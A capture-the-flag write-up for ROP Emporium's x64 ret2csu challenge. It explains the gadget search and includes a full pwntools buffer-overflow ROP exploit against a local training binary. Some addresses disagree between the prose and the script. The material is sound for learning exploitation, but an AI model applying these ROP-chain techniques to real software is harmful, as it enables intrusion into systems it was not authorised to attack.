ROP Emporium ret2csu Writeup (x64)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the final challenge of eight.
According to the challenge page our goal is to call ret2win
from the libret2csu
library. We need to call this function with the arguments ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
in order to print the flag.
This is what a hint will look like!
Offset
The offset for x64
challenges will be 40 bytes
. If you want to know how to find this value see the first writeup of this series.
Function Address
What’s
ret2win
’s address?
Luckily for us ret2win
is imported so we don’t need to calculate any offsets. With radare2
run aaa
to analyze the binary and afl
to list the function addresses
ret2win
’s function address is 0x00400510
Gadgets
Useful Function
Check out
usefulFunction
’s assembly
Let’s see what usefulFunction
has to offer. We can view the assembly with the following commands
1
2
3
s sym.usefulFunction
V
p
There isn’t anything particularly interesting except for a call
to the ret2win
function. Seems like we’ll have to search for gadgets on our own…
Function Arguments
What gadgets involve
x64
’s function registers?
Referencing this x64 cheatsheet the first 3 argument registers are rdi
, rsi
and rdx
in that order. Let’s try to find pop
gadgets for these registers with the /R
command
We can control the first and second argument, but the third argument will make things trickier…
Let’s broaden our search by only looking for gadgets that use the third argument register rdx
There are only two gadgets. The first one will require rdx
to already be set which won’t work for us. The second gadget will let us set rdx
with r15
!
The second gadget also has the effect of setting rsi
(argument 2) and edi
which sets bytes 0-4 of rdi
(argument 1). The first argument can’t be set with this gadget since we need all 8 bytes set! (i.e. it will only set rdi
to 0xdeadbeef
when we need it to be 0xdeadbeefdeadbeef
)
We’ll also be able to call
a function if we can control r12
and rbx
so let’s look for that next.
Call Gadget
Look for gadgets to set
r12
andrbx
. The gadgets will be more than 4 instructions soradare2
’s/R
won’t find what we need by default
First let’s look for a way to control r12
The gadget address is 0x0040069c
but we should look at what instructions come before it.
1
2
3
s 0x0040069c
V
p
Now we can control rbx
and rbp
along with r12
-r15
with the gadget at 0x0040069a
!
If we look even further above this gadget we’ll find something interesting
It’s the gadget that will set rdx
and rsi
, the last two function arguments!
Since the first function argument won’t be set correctly, we’ll need to call our pop rdi
gadget. Our issue becomes the unavoidable call
instruction
We can’t set the address of our next gadget into r12 + rbx*8
since this value will be dereferenced due to the square brackets! We also can’t call
the ret2win
plt
entry which contains ret2win
’s address since the first argument will be incorrect. Ideally we could skip this instruction entirely, or call
a function that does nothing. This way we can reach the ret
instruction at 0x004006a4
in order to chain additional gadgets.
Call Address
Look at the other available functions and find a pointer to the target
Take a look at the available functions again with afl
Alternatively you can look at functions along with their assembly by pressing a capital V
followed by a lowercase v
. Navigate between functions with j
and k
The _fini
function will subtract rsp
by 8, add rsp
by 8, and then return. This will essentially do nothing allowing us to chain together other gadgets!
Now we need to find an address which points to _fini
. This time we’ll use the search
command in pwndbg
. The address of _fini
is 0x004006b4
so we can search for a pointer to that value with the -p
flag
1
search -p 0x004006b4
If we set the call
address to 0x600e48
we’ll be able to call _fini
(which does nothing) and then chain other gadgets together!
Looking at what our call
instruction is
We can find the value we need in r12
and rbx
with some arithmetic. Let’s use the first address pointer 0x6003b0
r12
will be 0
and rbx
will be 0xc0076
Chaining Gadgets
Look at the instructions after the
call
and figure out how to reach theret
instruction
Let’s take a look at what comes after our call
gadget.
After _fini
is done executing, the instruction pointer will continue running the instructions after the call
instruction (0x0040068d
).
There is a pesky jne
(jump if not equal to) instruction which we’ll want to avoid. To avoid the jump we’ll need to make rbp
the same value as rbx + 1
.
After that we’ll have 6 pop
instructions along with a stack adjustment from add rsp, 8
. This means we’ll need to add 7 total junk values.
Once this is done we’ll reach the ret
instruction and can chain a pop rdi
gadget (function argument 1). After this, we’ll be able to call ret2win
with the proper arguments!
Exploit
We have everything we need to build our exploit
First we pop
registers rbx
, rbp
and r12-r15
. Then we jump to the call
gadget which will set function arguments 2 and 3, then call the _fini
function. After this, we pass garbage until we reach our next gadget. We can then call pop rdi
to set the first function argument and then ret2win
to get the flag!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/bin/python3
from pwn import *
ret2win_addr = 0x0040062a
call_gadget = 0x00400680
# add n junk values to stack
def add_junk(n):
junk = 0x1234123412341234
payload = b''
for i in range(n):
payload += p64(junk)
return payload
# set first function arg
def pop_rdi(inp):
return p64(0x004006a3) + p64(inp)
# pops rbx, rbp, r12, r13, r14, r15
# accepts a list of register values
def pop_rs(regs):
payload = p64(0x0040069a)
for reg in regs:
payload += p64(reg)
return payload
# sets all args then calls ret2win
def ret2win(inp1, inp2, inp3):
payload = b''
# set function args 2 and 3
r13 = inp1
r14 = inp2
r15 = inp3
rbx = 0xC0076
# rbp value to avoid jne
rbp = rbx + 1
# call [r12 + rbx*8]
# call _fini() with call
r12 = 0
regs = [rbx, rbp, r12, r13, r14, r15]
payload += pop_rs(regs)
# sets args 2 and 3
# then calls _fini
payload += p64(call_gadget)
# set junk values for proceeding pops
# rbx, rbp, r12-r15 and extra stack entry
payload += add_junk(7)
# set arg1
payload += pop_rdi(inp1)
# call ret2win
payload += p64(ret2win_addr)
return payload
# create payload
payload = b'A' * 40
payload += ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
# send payload + receive flag
io = process('./ret2csu')
io.recvuntil(b'>')
io.sendline(payload)
io.recvuntil(b'Thank you!\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))
Conclusion
In this challenge we learned how to build a ROP chain when there aren’t many available gadgets. We needed to find various ways to continue execution until we were able to chain other gadgets together.
Thanks for reading and hopefully you’re now able to comfortably construct ROP chains under x64
!
(there isn’t an x86
version of this challenge)